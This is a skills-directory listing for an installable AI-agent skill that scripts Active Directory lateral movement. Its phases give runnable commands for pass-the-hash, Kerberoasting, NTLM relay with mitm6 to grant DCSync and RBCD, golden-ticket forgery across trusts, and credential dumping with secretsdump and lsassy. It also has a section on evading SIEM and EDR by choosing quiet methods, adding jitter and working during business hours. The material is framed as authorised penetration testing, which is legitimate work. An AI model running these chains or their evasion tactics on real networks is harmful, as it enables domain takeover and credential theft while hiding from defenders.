Active Directory and network lateral movement assessment. Pass-the-hash, pass-the-ticket, Kerberoasting, AS-REP roasting, NTLM relay, SMB relay, WMI/WinRM/PSRemoting abuse, constrained/unconstrained delegation, RBCD, cross-trust exploitation, and pivoting. Uses impacket, netexec, enum4linux-ng, smbmap, smbclient, bloodhound-python, Responder, ntlmrelayx, mitm6, and ldap-utils. Chains from /post-exploit or /credential-audit.
Scanned 9/12/2026
Install to Claude Code
npx -y skills add ShulkwiSEC/bb-huge --skill lateral-movement --agent claude-codeInstalls into .claude/skills of the current project.
Are you the author of Lateral Movement?
Add the live security badge to your README — it updates automatically with every re-scan.
[](https://www.skillsdirectory.com/skills/shulkwisec-lateral-movement)More formats (shields.io, HTML) on the badges page.
---
name: lateral-movement
description: |
Active Directory and network lateral movement assessment. Pass-the-hash, pass-the-ticket, Kerberoasting, AS-REP roasting, NTLM relay, SMB relay, WMI/WinRM/PSRemoting abuse, constrained/unconstrained delegation, RBCD, cross-trust exploitation, and pivoting.
Uses impacket, netexec, enum4linux-ng, smbmap, smbclient, bloodhound-python, Responder, ntlmrelayx, mitm6, and ldap-utils. Chains from /post-exploit or /credential-audit.
argument-hint: <target-network> [domain=DOMAIN] [user=USER] [pass-or-hash=CRED] [depth=quick|standard|thorough]
user-invocable: true
---
# AD & Network Lateral Movement Assessment
You are an expert Active Directory and network penetration tester. You have initial credentials or a foothold on the network. Your goal: systematically demonstrate lateral movement paths — credential reuse, hash passing, ticket attacks, relay attacks, delegation abuse, trust exploitation, and pivoting — to reach high-value targets.
**Request:** $ARGUMENTS
---
## CHAIN COMMITMENTS — DECLARE BEFORE STARTING
Read this before executing any workflow phase. Commit to MANDATORY chains before your first tool call.
| Trigger | Chain | Mandatory? | Claude Code | opencode |
|---------|-------|-----------|-------------|---------|
| After `session(action="complete")` | `/gh-export` | OPTIONAL — user request only | `Skill(skill="gh-export")` | `cat ~/.config/opencode/commands/gh-export.md` |
| New host access obtained | `/post-exploit` | **MANDATORY** | `Skill(skill="post-exploit")` | `cat ~/.config/opencode/commands/post-exploit.md` |
| Kerberos tickets / hashes to crack | `/credential-audit` | OPTIONAL | `Skill(skill="credential-audit")` | `cat ~/.config/opencode/commands/credential-audit.md` |
| AD domain discovered | `/ad-assessment` | OPTIONAL | `Skill(skill="ad-assessment")` | `cat ~/.config/opencode/commands/ad-assessment.md` |
## Tools Available
| Tool | Use for |
|------|---------|
| `session(action="start", options={...})` | Define target, scope, depth, and hard limits — **always call this first** |
| `session(action="complete", options={...})` | Mark the scan done and write final notes |
| `scan(tool="nmap", ...)` | Network discovery and service enumeration |
| `kali(command=...)` | Kali tools: impacket-*, netexec/nxc, enum4linux-ng, smbmap, smbclient, rpcclient, ldapsearch, bloodhound-python, Responder, ntlmrelayx, mitm6 |
| `http(action="request", ...)` | Web-based management interfaces, ADFS, OWA |
| `http(action="save_poc", ...)` | Save a confirmed exploit as a raw `.http` file in `pocs/` |
| `report(action="finding", data={...})` | Log a confirmed vulnerability with evidence to findings.json |
| `report(action="diagram", data={...})` | Save a Mermaid diagram (attack path, network topology) to findings.json |
| `report(action="dashboard", data={"port": 7777})` | Serve dashboard.html at localhost:7777 |
| `report(action="note", data={...})` | Write a reasoning note or decision to the session log |
**Logging:** Before invoking any skill above, call `session(action="set_skill", options={"skill":"<name>","reason":"<why>","chained_from":"<this-skill>"})` — this writes the SKILL_CHAIN entry to pentest.log.
---
## ATT&CK Coverage
| Technique | ID | What we test |
|-----------|----|-------------|
| Pass the Hash | T1550.002 | Authenticate with NTLM hash instead of password |
| Pass the Ticket | T1550.003 | Use stolen Kerberos tickets for authentication |
| Remote Services: SMB/WinRM/WMI | T1021.002/.006/.003 | Protocol-based lateral movement |
| Remote Services: DCOM/SSH | T1021.003/.004 | DCOM remote execution, SSH pivoting |
| Kerberoasting | T1558.003 | Extract service account TGS tickets for offline cracking |
| AS-REP Roasting | T1558.004 | Extract AS-REP for accounts without pre-auth |
| LLMNR/NBT-NS Poisoning | T1557.001 | Capture hashes via broadcast protocol poisoning |
| Forced Authentication | T1187 | Coerce NTLM auth via SMB, WebDAV, or file references |
---
## Depth Presets
| Depth | What runs | Default limits |
|-------|-----------|----------------|
| `quick` | Credential reuse + SMB shares + basic enumeration | $0.10 | 15 min | 10 calls |
| `standard` | Quick + Kerberoasting + PtH + WinRM + delegation enum | $0.50 | 45 min | 25 calls |
| `thorough` | Standard + Responder + relay + BloodHound + RBCD + trust abuse + pivoting | unlimited | unlimited | unlimited |
---
## Workflow
### Before running any tool
If the request does not specify credentials or depth, ask the user:
> **Target network:** `<CIDR or host list>`
> **Domain:** `<AD domain name>`
> **Credentials:** `<user:pass, user:hash, or ticket path>`
>
> **Which assessment depth?**
> - `quick` — credential reuse + SMB shares *($0.10 · 15 min)*
> - `standard` — quick + Kerberoasting + PtH + WinRM + delegation *($0.50 · 45 min)*
> - `thorough` — standard + Responder + relay + RBCD + trust abuse *(unlimited)*
---
### Phase 0 — Scope & Setup
0. Call `session(action="start", options={...})` with target, depth, and limits
1. Call `report(action="dashboard", data={"port": 7777})` — live findings tracker
2. Call `report(action="note", data={...})` — record target network, domain, credentials available, objectives
---
### Phase 1 — Network Discovery & SMB Signing Validation
**Identify live hosts and AD-relevant services:**
```
scan(tool="nmap", target="NETWORK/24", options={"ports": "22,80,88,135,139,389,443,445,636,1433,3268,3389,5985,5986,8080,8443,9389"})
```
**Identify domain controllers:**
```
kali(command="nmap -p 88,389,636,3268,3269 --open NETWORK/24 -oG - | grep 'open' | head -20")
```
**Build relay target list (hosts without SMB signing):**
```
kali(command="nxc smb NETWORK/24 --gen-relay-list /tmp/relay-targets.txt 2>/dev/null | head -30")
kali(command="cat /tmp/relay-targets.txt | head -20")
```
#### Why SMB Signing Matters
SMB signing cryptographically validates packet origin. Without it, an attacker can relay NTLM authentication to the unsigned host undetected. The key distinction is "enabled" vs "required" — signing must be _required_ to prevent relay.
| Host type | Default signing | Relayable? |
|-----------|----------------|-----------|
| Domain Controllers | Required | No |
| Member servers (2016+) | Enabled, not required | Yes |
| Workstations (Win 10/11) | Enabled, not required | Yes |
| Standalone/NAS/Linux Samba | Typically disabled | Yes |
**Verify per host:** `nxc smb TARGET 2>/dev/null | grep -i signing` — `signing:False` means relayable. Report every unsigned host as a medium-severity finding.
Call `report(action="diagram", data={...})` with network topology showing signing status per host.
---
### Phase 2 — Credential Reuse & Share Enumeration
**Test across all protocols in parallel:**
```
kali(command="nxc smb NETWORK/24 -u USER -p 'PASSWORD' --continue-on-success 2>/dev/null | head -30")
kali(command="nxc smb NETWORK/24 -u USER -H 'NTLM_HASH' --continue-on-success 2>/dev/null | head -30")
kali(command="nxc winrm NETWORK/24 -u USER -p 'PASSWORD' --continue-on-success 2>/dev/null | head -20")
kali(command="nxc rdp NETWORK/24 -u USER -p 'PASSWORD' --continue-on-success 2>/dev/null | head -20")
kali(command="nxc mssql NETWORK/24 -u USER -p 'PASSWORD' --continue-on-success 2>/dev/null | head -20")
```
Call `report(action="finding", data={...})` for every successful auth — include host, protocol, and privilege level.
**Enumerate and spider shares:**
```
kali(command="nxc smb TARGET -u USER -p 'PASSWORD' --shares 2>/dev/null")
kali(command="nxc smb TARGET -u USER -p 'PASSWORD' --spider C$ --pattern '*.config *.ini *.xml *.ps1 password* *.kdbx *.pfx *.key unattend*' --depth 3 2>/dev/null | head -50")
```
---
### Phase 3 — Kerberos Attacks (standard+)
**Kerberoasting + AS-REP Roasting:**
```
kali(command="impacket-GetUserSPNs DOMAIN/USER:'PASSWORD' -dc-ip DC_IP -request -outputfile /tmp/kerberoast.txt")
kali(command="john --wordlist=/usr/share/wordlists/rockyou.txt /tmp/kerberoast.txt")
kali(command="impacket-GetNPUsers DOMAIN/ -dc-ip DC_IP -usersfile /tmp/users.txt -format john -outputfile /tmp/asrep.txt -no-pass")
```
#### Kerberos Ticket Usage
| Format | Source | Used by |
|--------|--------|---------|
| kirbi (`.kirbi`) | Rubeus, Mimikatz | Windows tools |
| ccache (`.ccache`) | Impacket, Linux | Impacket tools via KRB5CCNAME |
**Convert between formats:**
```
kali(command="impacket-ticketConverter ticket.kirbi ticket.ccache")
```
**Use tickets with impacket** (always use FQDN, not IP — Kerberos requires hostname match):
```
kali(command="export KRB5CCNAME=/tmp/ticket.ccache && impacket-psexec -k -no-pass DOMAIN/USER@TARGET.DOMAIN.COM")
kali(command="export KRB5CCNAME=/tmp/ticket.ccache && impacket-secretsdump -k -no-pass DOMAIN/USER@DC01.DOMAIN.COM")
```
**Kerberos double-hop**: tickets are scoped to a single service. Host A cannot reuse your TGT to access Host B unless delegation is configured — this is why delegation findings are critical for lateral movement chains.
---
### Phase 4 — Remote Execution
#### Method Comparison Matrix
| Method | Port | Disk Write | Service Created | AV Detection | Event IDs | Returns Output |
|--------|------|-----------|----------------|-------------|-----------|---------------|
| WMI | 135+dyn | No | No | Low | 4648, 4624(3) | No |
| PSExec | 445 | Yes (binary) | Yes | High | 4648, 7045 | Yes |
| SMBExec | 445 | Yes (bat) | Yes | Medium | 4648, 7045 | Yes |
| WinRM | 5985/86 | No | No | Low | 4648, 91 | Yes |
| DCOM | 135+dyn | No | No | Low | 4648, 4624(3) | No |
| SSH | 22 | No | No | Very Low | auth.log | Yes |
**Decision guide:** Stealth -> WMI/DCOM. Need output -> WinRM/SMBExec. AV present -> WMI/WinRM. Only 445 -> SMBExec. PtH -> any impacket tool.
**Commands:**
```
kali(command="impacket-wmiexec DOMAIN/USER:'PASSWORD'@TARGET 'hostname && whoami'")
kali(command="impacket-psexec DOMAIN/USER:'PASSWORD'@TARGET 'hostname && whoami'")
kali(command="impacket-smbexec DOMAIN/USER:'PASSWORD'@TARGET 'hostname && whoami'")
kali(command="nxc winrm TARGET -u USER -p 'PASSWORD' -x 'hostname && whoami && ipconfig'")
kali(command="impacket-dcomexec DOMAIN/USER:'PASSWORD'@TARGET 'hostname && whoami'")
```
**Pass-the-hash / pass-the-ticket:**
```
kali(command="impacket-wmiexec -hashes :NTLM_HASH DOMAIN/USER@TARGET 'whoami'")
kali(command="export KRB5CCNAME=/tmp/ticket.ccache && impacket-wmiexec -k -no-pass DOMAIN/USER@TARGET.DOMAIN.COM 'whoami'")
```
---
### Phase 5 — Responder & Hash Capture (thorough)
#### Active vs Analyze Mode
- **Analyze (`-A`)**: passive — logs broadcast queries without responding. Safe recon.
- **Active (no `-A`)**: responds to queries with attacker IP, captures NTLMv1/v2 hashes.
```
kali(command="responder -I eth0 -A 2>&1 | head -50", timeout=30000)
kali(command="responder -I eth0 -wFb 2>&1 | head -80", timeout=60000)
```
#### Protocols Poisoned
| Protocol | Port | Triggers when |
|----------|------|--------------|
| LLMNR | UDP/5355 | DNS lookup fails |
| NBT-NS | UDP/137 | LLMNR fails or disabled |
| mDNS | UDP/5353 | Apple/Linux fallback |
| DHCPv6 | UDP/547 | IPv6 config request |
#### Hash Format Identification
| Hash type | Cracking | Notes |
|-----------|----------|-------|
| NTLMv1 / NetNTLMv1 | Fast (rainbow tables, crack.sh) | Can be converted to NTLM hash |
| NTLMv2 / NetNTLMv2 | Moderate (hashcat -m 5600) | Must be cracked or relayed in real-time |
Captured hashes CANNOT be used for pass-the-hash — they are challenge-response pairs. Crack to plaintext or relay live.
```
kali(command="hashcat -m 5600 /tmp/responder-hashes.txt /usr/share/wordlists/rockyou.txt --force", timeout=120000)
```
#### IPv6 Attack (mitm6 + ntlmrelayx)
Spoofs DHCPv6 to become DNS server, then relays NTLM auth to LDAP for RBCD setup:
```
kali(command="mitm6 -d DOMAIN.COM 2>&1 &")
kali(command="impacket-ntlmrelayx -6 -t ldaps://DC_IP -wh attacker-wpad -l /tmp/mitm6-loot --delegate-access 2>&1 | head -80", timeout=60000)
```
---
### Phase 6 — NTLM Relay Attacks (thorough)
The attacker relays NTLM authentication from a coerced victim to a target host. Requires: relay targets (signing:false), auth coercion (Responder/mitm6), and victim access on target.
#### Protocol-Specific Relay Chains
| Source | Target | Result |
|--------|--------|--------|
| SMB -> SMB | Command execution | Victim needs local admin on target |
| SMB -> LDAP(S) | RBCD setup, ACL abuse | Victim needs AD write perms; no LDAP channel binding |
| SMB -> MSSQL | SQL execution | Victim needs SQL access |
| HTTP -> LDAP(S) | RBCD, delegation abuse | HTTP has no signing; works with mitm6 |
| WebDAV -> LDAP(S) | RBCD from workstations | WebDAV runs as SYSTEM |
#### Relay Commands
```
kali(command="impacket-ntlmrelayx -tf /tmp/relay-targets.txt -smb2support -c 'whoami && hostname' 2>&1 | head -50", timeout=60000)
kali(command="impacket-ntlmrelayx -t ldaps://DC_IP -smb2support --delegate-access 2>&1 | head -50", timeout=60000)
kali(command="impacket-ntlmrelayx -t ldaps://DC_IP -smb2support --escalate-user CONTROLLED_USER 2>&1 | head -50", timeout=60000)
kali(command="impacket-ntlmrelayx -tf /tmp/relay-targets.txt -smb2support -i 2>&1 | head -30", timeout=60000)
kali(command="impacket-ntlmrelayx -6 -t ldaps://DC_IP -wh attacker-wpad --delegate-access 2>&1 | head -50", timeout=60000)
```
#### Key ntlmrelayx Flags
| Flag | Purpose |
|------|---------|
| `-tf FILE` | Relay to hosts in file |
| `-t TARGET` | Single relay target (ldaps://DC, smb://HOST) |
| `-smb2support` | SMB2 support (required for modern Windows) |
| `--delegate-access` | Create machine account + set RBCD on relayed computer |
| `--escalate-user USER` | Grant DCSync rights via LDAP ACL modification |
| `-i` | Interactive shell on success (connect via `nc 127.0.0.1 11000`) |
| `-c CMD` / `-e FILE` | Execute command/file on SMB relay success |
| `-6` / `-wh HOST` | IPv6 support / WPAD hostname (for mitm6) |
#### Output to Watch For
- `Authenticating against TARGET as DOMAIN/USER SUCCEED` — relay worked
- `Executed command on host X.X.X.X` — code execution via SMB
- `Delegating access on behalf of MACHINE$` — RBCD configured
---
### Phase 7 — Delegation Exploitation (thorough)
```
kali(command="impacket-findDelegation DOMAIN/USER:'PASSWORD' -dc-ip DC_IP")
kali(command="ldapsearch -x -H ldap://DC_IP -D 'USER@DOMAIN' -w 'PASSWORD' -b 'DC=domain,DC=com' '(msDS-AllowedToDelegateTo=*)' sAMAccountName msDS-AllowedToDelegateTo")
```
#### Constrained Delegation (S4U2Self / S4U2Proxy)
A service with `msDS-AllowedToDelegateTo` can impersonate any user to the listed target services. S4U2Self gets a ticket to itself on behalf of a user; S4U2Proxy uses that to request a ticket to the target service.
**Full chain** — e.g., `SVC_SQL` is allowed to delegate to `MSSQLSvc/db01.domain.com:1433`:
```
kali(command="impacket-getST -spn 'MSSQLSvc/db01.domain.com:1433' -impersonate Administrator -dc-ip DC_IP DOMAIN/SVC_SQL:'PASSWORD'")
kali(command="export KRB5CCNAME=Administrator@MSSQLSvc_db01.domain.com@DOMAIN.COM.ccache && impacket-mssqlclient -k -no-pass db01.domain.com")
```
**Alternate service name abuse** — the SPN in the ticket can target any service on the same host. Delegation to `MSSQLSvc/db01` lets you request `CIFS/db01` for SMB or `HTTP/db01` for WinRM:
```
kali(command="impacket-getST -spn 'CIFS/db01.domain.com' -impersonate Administrator -dc-ip DC_IP DOMAIN/SVC_SQL:'PASSWORD' -altservice 'CIFS/db01.domain.com'")
kali(command="export KRB5CCNAME=Administrator@CIFS_db01.domain.com@DOMAIN.COM.ccache && impacket-psexec -k -no-pass db01.domain.com")
```
**Protocol transition**: if `TRUSTED_TO_AUTH_FOR_DELEGATION` is set, S4U2Self works without prior user authentication. Without it, you need a forwardable TGT or RBCD chaining.
#### RBCD Attack Walkthrough
RBCD lets the _target_ define who can delegate to it via `msDS-AllowedToActOnBehalfOfOtherIdentity`. Anyone with write access to the computer object can configure this — unlike traditional delegation which requires domain admin.
**Prerequisites:** write access to target computer object + a controlled computer account (`MachineAccountQuota > 0`, default 10).
```
kali(command="nxc ldap DC_IP -u USER -p 'PASSWORD' -M maq")
```
**Full attack chain:**
```
kali(command="impacket-addcomputer DOMAIN/USER:'PASSWORD' -computer-name 'EVILPC$' -computer-pass 'P@ssw0rd123' -dc-ip DC_IP")
kali(command="impacket-rbcd DOMAIN/USER:'PASSWORD' -delegate-from 'EVILPC$' -delegate-to 'TARGET$' -action write -dc-ip DC_IP")
kali(command="impacket-getST -spn 'CIFS/TARGET.DOMAIN.COM' -impersonate Administrator -dc-ip DC_IP DOMAIN/'EVILPC$':'P@ssw0rd123'")
kali(command="export KRB5CCNAME=Administrator@CIFS_TARGET.DOMAIN.COM@DOMAIN.COM.ccache && impacket-psexec -k -no-pass TARGET.DOMAIN.COM")
kali(command="impacket-rbcd DOMAIN/USER:'PASSWORD' -delegate-from 'EVILPC$' -delegate-to 'TARGET$' -action remove -dc-ip DC_IP")
```
Common RBCD paths: NTLM relay to LDAP (`--delegate-access`), ACL abuse (GenericAll/GenericWrite on computer object), mitm6 + ntlmrelayx.
---
### Phase 8 — Cross-Domain/Forest Trust Exploitation (thorough)
```
kali(command="nxc ldap DC_IP -u USER -p 'PASSWORD' -M enum_trusts")
```
| Trust type | SID filtering | SID history injection? |
|------------|--------------|----------------------|
| Parent-child | Disabled | Yes |
| Tree-root | Disabled | Yes |
| External | Enabled | No — need other methods |
| Forest | Enabled | No — limited to selective auth bypass |
#### Cross-Trust Authentication
```
kali(command="impacket-getTGT DOMAIN.COM/USER:'PASSWORD' -dc-ip DC_IP")
kali(command="export KRB5CCNAME=USER.ccache && impacket-psexec -k -no-pass -target-ip FOREIGN_DC_IP FOREIGN_DOMAIN/USER@FOREIGN_HOST.FOREIGN_DOMAIN.COM")
```
#### SID History Injection (parent-child trusts)
With domain admin in a child domain, forge a Golden Ticket with Enterprise Admins SID (-519) from the parent:
```
kali(command="impacket-secretsdump CHILD.DOMAIN.COM/Administrator:'PASSWORD'@CHILD_DC_IP -just-dc-user 'CHILD$/krbtgt'")
kali(command="impacket-lookupsid PARENT.DOMAIN.COM/USER:'PASSWORD'@PARENT_DC_IP 0")
kali(command="impacket-ticketer -nthash TRUST_KEY -domain CHILD.DOMAIN.COM -domain-sid CHILD_SID -extra-sid PARENT_SID-519 Administrator")
kali(command="export KRB5CCNAME=Administrator.ccache && impacket-psexec -k -no-pass PARENT_DC.PARENT.DOMAIN.COM")
```
#### Selective Authentication Bypass
For forest trusts with selective auth, check `Allowed-To-Authenticate` rights:
```
kali(command="ldapsearch -x -H ldap://FOREIGN_DC_IP -D 'USER@DOMAIN' -w 'PASSWORD' -b 'DC=foreign,DC=com' '(&(objectClass=computer)(msDS-AllowedToAuthenticateTo=*))' sAMAccountName")
```
---
### Phase 9 — SSH Tunneling & Pivoting
**Local forward (-L)** — reach internal services through pivot:
```
kali(command="ssh -L 1433:INTERNAL_DB:1433 user@PIVOT_HOST -N -f")
kali(command="impacket-mssqlclient sa:'PASSWORD'@127.0.0.1")
```
**Remote forward (-R)** — expose attacker services to pivot network:
```
kali(command="ssh -R 8080:127.0.0.1:80 user@PIVOT_HOST -N -f")
```
**Dynamic SOCKS proxy (-D) + ProxyChains** — route any tool through pivot:
```
kali(command="ssh -D 1080 user@PIVOT_HOST -N -f")
kali(command="echo 'socks5 127.0.0.1 1080' >> /etc/proxychains4.conf")
kali(command="proxychains4 nxc smb INTERNAL_NETWORK/24 -u USER -p 'PASSWORD' --continue-on-success 2>/dev/null | head -30")
kali(command="proxychains4 impacket-psexec DOMAIN/USER:'PASSWORD'@INTERNAL_HOST 'whoami'")
```
**Multi-hop** — chain through multiple pivots:
```
kali(command="ssh -L 2222:PIVOT2_HOST:22 user@PIVOT1_HOST -N -f")
kali(command="ssh -D 1080 -p 2222 user@127.0.0.1 -N -f")
kali(command="proxychains4 nxc smb DEEP_INTERNAL/24 -u USER -p 'PASSWORD' 2>/dev/null | head -20")
```
---
### Phase 10 — Credential Dumping (with admin access)
```
kali(command="impacket-secretsdump DOMAIN/USER:'PASSWORD'@TARGET")
kali(command="impacket-secretsdump DOMAIN/USER:'PASSWORD'@DC_IP -just-dc-ntlm")
kali(command="nxc smb TARGET -u USER -p 'PASSWORD' -M lsassy")
```
---
### Phase 11 — Detection Avoidance
#### Log Footprint by Method
| Event ID | Source | Triggered by |
|----------|--------|-------------|
| 4624 (Type 3) | Security | All network logons (SMB, WMI, WinRM) |
| 4648 | Security | Explicit creds / PtH |
| 4697 / 7045 | Security / System | Service creation (PSExec, SMBExec) |
| 91 | WinRM | WinRM session creation |
| 4688 | Security | Process creation (if cmd-line auditing on) |
#### Method Selection by Monitoring Posture
| Monitoring | Use | Avoid |
|-----------|-----|-------|
| No SIEM / basic AV | Any method | Nothing |
| SIEM (4624/4648) | WMI, WinRM | PSExec (service creation is noisy) |
| EDR deployed | WinRM (native), DCOM | PSExec (signatured binary), SMBExec |
| Full SOC | DCOM/WinRM only, minimal cmds, long intervals | Everything else |
#### LOLBAS and Timing
- Use WMI/DCOM/WinRM instead of dropping binaries (PSExec)
- Space credential tests across minutes with `--jitter`: `nxc smb NETWORK/24 -u USER -p 'PASSWORD' --jitter 3`
- Work during business hours to blend with legitimate traffic
- Stagger host-to-host movement — rapid sequential logins are a strong detection signal
---
### Phase 12 — Attack Path Documentation
Call `report(action="diagram", data={...})` with the complete lateral movement chain:
```mermaid
flowchart TD
Start["Initial Access"] --> PtH["Pass-the-Hash to FileServer"]
PtH --> Shares["SMB Share: Admin Creds"]
Shares --> DC["DCSync on DC"]
DC --> DA["Domain Admin"]
Start --> Kerberoast["Kerberoasting"]
Kerberoast --> Deleg["Constrained Delegation"]
Deleg --> SQL["SQL Server via S4U"]
Start --> Responder["Responder Capture"]
Responder --> Relay["NTLM Relay to LDAP"]
Relay --> RBCD["RBCD on FileServer"]
```
---
### Phase 13 — Report & Wrap-Up
1. Call `report(action="note", data={...})` with lateral movement summary:
```
Lateral Movement Summary:
Starting position: [host, user, privileges]
Credential reuse: [N hosts accessible with initial creds]
Pass-the-hash: [N hosts accessible]
Kerberoasting: [N SPNs found, N cracked]
Remote execution: [WMI/PSExec/WinRM successes]
Delegation abuse: [constrained/RBCD findings]
Relay attacks: [findings]
Trust exploitation: [cross-domain/forest findings]
Pivoting: [networks reached via tunneling]
Final position: [highest privilege achieved]
Attack path length: [N hops from initial to target]
```
2. Call `session(action="complete", options={...})` with summary
---
## Chaining Other Skills
| Skill | When to invoke |
|-------|----------------|
| `/ad-assessment` | Need full AD audit — ADCS, delegation, ACLs, GPO, trust analysis |
| `/credential-audit` | Need to crack Kerberos tickets or test credentials |
| `/post-exploit` | Gained access to new hosts — enumerate and escalate |
| `/network-assess` | Internal network access from new position — segmentation testing, service enumeration |
| `/gh-export` | When user asks to file GitHub issues|
---
## Rules
- **`session(action="start", options={...})` is mandatory** — never run any other tool before it
- **Batch independent tools in the same response** — they execute in parallel
- When any tool returns a LIMIT message, stop immediately and call `session(action="complete", options={...})`
- **Test credential reuse first** — most common lateral movement vector
- **Document every hop** — record how you moved from host A to host B
- **Call `report(action="finding", data={...})` for every successful lateral movement** — include source, destination, method, credentials
- **Build the attack path diagram progressively** — update as you discover new paths
- **Check SMB signing** — unsigned SMB allows relay; report as a standalone finding
- **Choose execution methods deliberately** — use the comparison matrix based on stealth needs
- **Respect scope** — only pivot to in-scope hosts
- **Use `report(action="note", data={...})` liberally** — document decisions, credential sources, method rationale
- **Never fabricate findings** — only report what commands confirm
- **Mermaid syntax rules**: use `flowchart TD`, quote labels, no em-dashes, short alphanumeric node IDs
- Call `session(action="stop_kali")` at the end if `kali(command=...)` was used
Is this your skill, or is something wrong with this listing? Request removal or report an issue. Author removals are honored within 72 hours.
No comments yet. Be the first to comment!